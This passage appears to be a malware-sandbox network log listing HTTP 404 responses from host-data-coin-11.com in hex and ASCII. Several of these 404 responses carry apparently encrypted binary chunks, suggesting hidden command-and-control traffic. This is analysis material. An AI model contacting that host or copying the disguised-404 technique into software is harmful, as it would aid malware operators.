Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 06 Jan 2022 20:02:56 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 d1 42 d4 ff 26 85 21 ec ac 96 51 28 e2 b1 49 2d e3 b3 b7 60 f2 9b bf 5c aa 71 90 c8 33 46 58 3a 0d 49 da bb 51 b7 fe 5f 9b b1 c9 1f 8d 2b 80 cf 0d 0a 30 0d 0a 0d 0a Data Ascii: 65I:82OB%,YR("XSB&!Q(I-`\q3FX:IQ_+0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 42 f4 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ABSvDg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:04:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 